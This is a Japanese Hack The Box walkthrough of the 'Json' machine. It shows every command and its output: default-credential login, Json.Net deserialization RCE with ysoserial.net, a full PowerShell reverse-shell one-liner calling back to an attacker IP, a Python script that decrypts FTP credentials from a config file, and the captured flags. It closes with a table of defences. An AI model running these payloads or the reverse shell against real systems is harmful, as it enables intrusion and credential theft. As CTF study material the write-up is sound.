Hack The BoxのWriteup(Json)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Json — 全実行コマンド・実行結果レポート
Nmap スキャン
21/80/135/139/445/5985/47001
→
AngularJS SPA + /api/token
admin/admin で OAuth2 Cookie 発行
→
Bearer ヘッダ Fuzzing
“Cannot deserialize Json.Net Object”
→
ysoserial.net RCE
WindowsIdentity + Json.Net (wine)
→
userpool シェル取得
user.txt ✓
→
Sync2Ftp 設定ファイル窃取
TripleDES(ECB)+MD5 で復号
→
superadmin:funnyhtb
ローカル FileZilla FTP
→
root.txt ✓

全ポートスキャン → バージョン・スクリプトスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.227.191
nmap -sV -sC -p 21,80,135,139,445,5985,47001,49152-49158 10.129.227.191
RESULT
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd 0.9.60 beta
80/tcp    open  http         Microsoft IIS httpd 8.5
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012
5985/tcp  open  wsman        Microsoft HTTPAPI httpd 2.0
47001/tcp open  winrm        Microsoft HTTPAPI httpd 2.0
49152-49158/tcp open unknown Microsoft Windows RPC

Service Info: OS: Windows Server 2012 R2 Datacenter (Build 9600)
🚨
重要発見: ポート21にFileZilla ftpd(公開FTPサーバーではなく、後に判明する 管理インターフェースと同一プロセス)、ポート80にASP.NET/IISのWeb APIが稼働。 FileZilla + カスタムWeb APIの組み合わせは「Json」HTBマシンの既知の特徴プロファイルと一致。

HTTPヘッダ確認

BASH
curl -sI --max-time 10 http://10.129.227.191
RESULT
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
PHASE 2

Web調査 — AngularJS SPA / 認証API / デシリアライゼーション痕跡の発見

ログインページとAPI構造の把握

BASH
curl -s --max-time 10 http://10.129.227.191/login.html
RESULT
<!DOCTYPE html>
<html lang="en" ng-app="json">
<head>
...(AngularJS製 "SB Admin 2" ベースのSPA、ng-app="json")
ℹ️
ブラウザでトップページに直接アクセスすると未認証でもダッシュボードが一瞬表示された後 login.html にリダイレクトされる(クライアントサイドのみの認可チェックで、サーバー側のAPIは別途保護されている)。 /js/app.min.js は難読化されているが、JS Nice等で復元すると POST /api/token でログインし、レスポンスの OAuth2 Cookie(base64 JSON)を GET /api/Account/ への 独自ヘッダ名 “Bearer”(標準の Authorization: Bearerではない点に注意)として送信するロジックが読み取れる。

admin/admin でログイン → OAuth2 Cookie 取得

BASH
curl -s --max-time 10 -X POST http://10.129.227.191/api/token \
  -H "Content-Type: application/json" \
  -d '{"UserName":"admin","Password":"admin"}'
RESULT
Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

# base64デコード結果:
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}
ℹ️
Password フィールドは admin のMD5ハッシュ(21232f297a57a5a743894a0e4a801fc3)。 認証には既定クレデンシャル admin/admin がそのまま有効だった。

Bearer ヘッダ Fuzzing — デシリアライゼーションの手掛かり発見

BASH
# Bearer ヘッダを不正な base64 に改変して送信
curl -s --max-time 10 -H "Bearer: QUFBQQ==" http://10.129.227.191/api/Account/
RESULT
{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}
🚨
決定的な手掛かり: サーバーは Bearer ヘッダの中身を Json.Net 形式の オブジェクトとして $type 付きでデシリアライズしている。TypeNameHandling が None 以外に設定された ASP.NET Web API は、任意の .NET 型をデシリアライズ対象に 指定できる古典的な .NET デシリアライゼーション RCE の脆弱性パターンに合致する。
PHASE 3

ysoserial.net によるデシリアライゼーション RCE の確立

ガジェットの選定 — WindowsIdentity + Json.Net

NOTE
ysoserial.net の "Json.Net" フォーマッタに対応するガジェットのうち、WindowsIdentity は
System.Security.Claims.ClaimsIdentity の "actor" フィールドを経由して、内部的に
**BinaryFormatter** による無条件デシリアライズを引き起こす「ブリッジ」ガジェットである。
これにより JSON 構造の制約を受けずに任意の BinaryFormatter 互換ガジェット
(TypeConfuseDelegate 等)を埋め込み、RCE を実現できる。
BASH
# wine 上に ysoserial.net (ysoserial.exe) を配置して実行する
# ※ Mono では PresentationCore (WPF) 依存のため FileNotFoundException で失敗するため wine 必須
wine ysoserial.exe -g WindowsIdentity -f Json.Net -c "whoami" -o base64
RESULT
ew0KICAgICAgICAgICAgICAgICAgICAnJHR5cGUnOiAnU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHks...(snip)...

落とし穴: wine 既定ブリッジが対象サーバーに存在しないアセンブリを参照

BASH
# 上記ペイロードをそのまま Bearer ヘッダへ送信
curl -s --max-time 15 -H "Bearer: " http://10.129.227.191/api/Account/
RESULT
{"Message":"An error has occurred.",
 "ExceptionMessage":"Unable to find assembly 'Microsoft.PowerShell.Editor, Version=3.0.0.0, ...'",
 "ExceptionType":"System.Runtime.Serialization.SerializationException",
 "StackTrace":"   at System.Security.Claims.ClaimsIdentity.Deserialize(...)
   at System.Security.Principal.WindowsIdentity..ctor(SerializationInfo info)
   at Newtonsoft.Json.Serialization.JsonSerializerInternalReader.CreateISerializable(...)
   at DemoAppExplanaiton.Controllers.AccountController.GetInfo() ..."}
🚨
原因: ysoserial.net の WindowsIdentity ガジェットは既定で、内部の BinaryFormatter ブリッジ用ペイロードとして 最短ペイロードの TextFormattingRunProperties を自動選択する。しかしこのガジェットは Microsoft.PowerShell.Editor.dll(PowerShell ISE機能)内の型を参照するため、 PowerShell ISE が入っていない標準的な Windows Server では 対象サーバー側の デシリアライズが失敗する(PDFオリジナル手順では genuine Windows 上で ysoserial.exe を 直接実行しているため発生しない、wine 環境特有というより「ターゲットの構成」起因の罠)。

解決策: –bgc=TypeConfuseDelegate でブリッジガジェットを明示指定

NOTE
ysoserial.net には --bgc (--bridgedgadgetchains) オプションがあり、ブリッジガジェットの
内部実装を明示的に差し替えられる。TypeConfuseDelegate は mscorlib だけで完結し、
PowerShell.Editor のような追加アセンブリに依存しないため、標準的な Windows Server でも
確実にデシリアライズが成功する。
BASH
wine ysoserial.exe -g WindowsIdentity -f Json.Net \
  --bgc TypeConfuseDelegate \
  -c "powershell -nop -w hidden -e <base64 PSリバースシェルワンライナー>" \
  -o base64
✅
この修正によりペイロード長は約4,300文字台から約6,700文字台に増加するが、 ターゲット側のデシリアライズが正常に完走し、コマンドが実際に実行されるようになった。
PHASE 4

エクスプロイト実行 & user.txt 取得

PowerShellリバースシェル ワンライナーの準備

PYTHON (ワンライナー雛形)
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.200',14870);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
  $sendback = (iex $data 2>&1 | Out-String);
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
};
$client.Close()
ℹ️
レスポンスボディが返らないブラインドRCEのため、結果確認はこのリバースシェル接続そのもの を使う(out-of-band)。-nop -w hidden -e <base64(UTF-16LE)> でエンコードして渡す。

リスナー起動 & エクスプロイト送信

BASH
# ターミナル1: リスナー
nc -lnvp 14870

# ターミナル2: ysoserial.netでペイロード生成しBearerヘッダへ送信
PAYLOAD=$(wine ysoserial.exe -g WindowsIdentity -f Json.Net \
  --bgc TypeConfuseDelegate -c "$CMD" -o base64 | tr -d '\n\r')
curl -s --max-time 15 -H "Bearer: $PAYLOAD" http://10.129.227.191/api/Account/
RESULT (curl レスポンス — RCE自体は既に発火済み)
{"Message":"An error has occurred.",
 "ExceptionMessage":"Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Security.Claims.ClaimsIdentity'.", ...}
⚠️
このキャスト例外は 無害:TypeConfuseDelegate は IComparer.Compare 呼び出し中(SortedSet のデシリアライズ過程)にコマンドを実行する「副作用型」ガジェットのため、 例外が発生する時点で コマンドは既に実行済み。レスポンスの型エラーは無視してよい。

シェル接続確認 & user.txt 取得

RESULT (nc リスナー側)
listening on [any] 14870 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.227.191] 49317

PS> whoami
json\userpool
PS C:\windows\system32\inetsrv> type C:\Users\userpool\Desktop\user.txt
f1245276cb5a687be36bf6688d399512
user.txt — json\userpool
f1245276cb5a687be36bf6688d399512
PHASE 5

権限昇格 — Sync2Ftp 設定ファイル復号 → FTP root.txt

カスタムアプリ Sync2Ftp の発見

BASH
PS> type "C:\Program Files\Sync2Ftp\SyncLocation.exe.config"
RESULT
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <appSettings>
    <add key="destinationFolder" value="ftp://localhost/"/>
    <add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
    <add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
    <add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
    <add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
  </appSettings>
</configuration>
ℹ️
C:\Program Files\Sync2Ftp\SyncLocation.exe は、ローカルFTP(port 21, FileZilla)へ ファイルを自動同期する独自アプリ。user/password は base64+暗号化されているが、 復号鍵となる SecurityKey は設定ファイル自身に平文で埋め込まれている。

TripleDES(ECB) + MD5 による復号

NOTE
SyncLocation.exe を dnSpy 等で逆アセンブルすると、復号ロジック (Crypto.Decrypt) は:
  1. SecurityKey文字列のMD5ハッシュ(16byte)を鍵として使用
  2. TripleDES、ECBモード、PKCS7パディングで復号
という単純な実装であることが分かる(公開されている 0xdf 氏のウォークスルー等でも
同一ロジックが報告されている)。
PYTHON
import base64, hashlib
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad

user_enc = "4as8gqENn26uTs9srvQLyg=="
pass_enc = "oQ5iORgUrswNRsJKH9VaCw=="
seckey   = "_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"

def decrypt(b64_cipher: str) -> str:
    key = hashlib.md5(seckey.encode("utf-8")).digest()   # 16byte, 2-key TripleDES
    ct  = base64.b64decode(b64_cipher)
    cipher = DES3.new(key, DES3.MODE_ECB)
    return unpad(cipher.decrypt(ct), 8).decode("utf-8")

print("Username:", decrypt(user_enc))
print("Password:", decrypt(pass_enc))
RESULT
Username: superadmin
Password: funnyhtb
✅
FTP資格情報の復号に成功: superadmin:funnyhtb。 これはWindowsのOS認証(WinRM等)には使えないが、ローカルFileZilla FTP(port 21)への ログインには有効。

FTPログイン → root.txt 取得

BASH
ftp 10.129.227.191
Name: superadmin
Password: funnyhtb
ftp> cd desktop
ftp> dir
ftp> get root.txt
RESULT
220-FileZilla Server 0.9.60 beta
230 User logged in.
250 CWD successful. "/desktop" is current directory.
-r--r--r-- 1 ftp ftp   32 root.txt
226 Successfully transferred "/desktop/root.txt"

$ cat root.txt
1ae4b50bf9ec32d7d1195c5ba5ee38d2
ℹ️
成立理由: FileZilla FTPサーバーの superadmin ユーザーのホームディレクトリが C:\Users\superadmin(=IsHome=1でFTPルートに割当)に設定されており、 Desktop サブフォルダに root.txt が置かれているため、 OS認証を一切経由せずFTPだけで直接読み取れる。
root.txt — superadmin (via local FTP)
1ae4b50bf9ec32d7d1195c5ba5ee38d2

Beyond Root — 他の権限昇格経路(参考)

NOTE
公開ウォークスルーでは、この経路以外に次の2系統も root.txt へ到達可能と報告されている
(いずれも今回は使用していない代替手段):

  1. chisel でローカルの FileZilla 管理ポート(14147)へリバーストンネルを張り、
     FileZilla Server の管理プロトコルで superadmin のパスワードを直接変更してログイン。
  2. userpool は SeImpersonatePrivilege を保持しており、対象がServer2019でなければ
     JuicyPotato(本シナリオのような2012 R2ならGodPotato等の後継ツールでも代替可)で
     NT AUTHORITY\SYSTEM への昇格が可能。

本レポートの経路(Sync2Ftp設定ファイル復号)が最も単純かつ再現性が高いため、
自動化(mixin化)にはこちらを採用した。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — json\userpool
f1245276cb5a687be36bf6688d399512
root.txt — superadmin (via local FTP)
1ae4b50bf9ec32d7d1195c5ba5ee38d2

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
既定クレデンシャル /api/token (admin/admin) アプリケーションへの認証 Medium admin/admin でログインしOAuth2 Cookie/API構造を把握
.NET デシリアライゼーション RCE GET /api/Account/ の独自 “Bearer” ヘッダ (Json.Net TypeNameHandling) リモートコード実行 (IIS AppPool権限) Critical ysoserial.net (WindowsIdentity + Json.Net + –bgc=TypeConfuseDelegate) でPowerShellリバースシェル
暗号鍵の同梱(Hardcoded Key) Sync2Ftp\SyncLocation.exe.config ローカルFTP認証情報の漏洩 High 設定ファイル内のSecurityKeyでTripleDES(ECB)暗号化されたFTP資格情報を復号
FTPホームディレクトリの不適切な設計 FileZilla Server (superadmin) root.txt への直接アクセス Medium superadminのFTPルートがC:\Users\superadminに設定されDesktop\root.txtに到達可能

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン21(FileZilla)/80(IIS)/135/139/445/5985/47001
2Web調査AngularJS SPA解析 + API Fuzzingadmin/admin、独自”Bearer”ヘッダ、デシリアライズエラー発見
3RCE確立ysoserial.net (WindowsIdentity/Json.Net, wine, –bgc修正)任意コマンド実行チャネル確立
4エクスプロイトPowerShellリバースシェルuser.txt 取得(json\userpool シェル)
5権限昇格Sync2Ftp設定ファイル復号(TripleDES/MD5) + FTProot.txt 取得(superadmin経由)

学んだ教訓 & 防御策

問題点防御策
既定クレデンシャル(admin/admin)がそのまま有効 初回デプロイ時に強制パスワード変更を要求する仕組みを導入する。
ASP.NET Web APIが外部入力をJson.Net TypeNameHandling有効のまま任意型デシリアライズ TypeNameHandling.Noneを既定にし、どうしても多態性が必要な場合は SerializationBinderでホワイトリスト制御する。ysoserial.net等で定期的に自己診断する。
暗号鍵(SecurityKey)が復号対象データと同じ設定ファイルに平文で同梱 鍵管理をDPAPI/Azure Key Vault等の専用ストアに分離し、アプリ設定ファイルに含めない。
FTPユーザーのホームディレクトリがデスクトップ(フラグ格納場所)と重複 サービスアカウント用ディレクトリと個人デスクトップを分離し、最小権限のFTPルートを設定する。
userpoolアカウントがSeImpersonatePrivilegeを保持(JuicyPotato系の代替経路) IIS AppPoolには必要最小限の特権のみを付与し、Potato系ツールによるSYSTEM昇格を Windows Defender Credential Guard等で緩和する。
HackTheBox: Json | 完全攻略レポート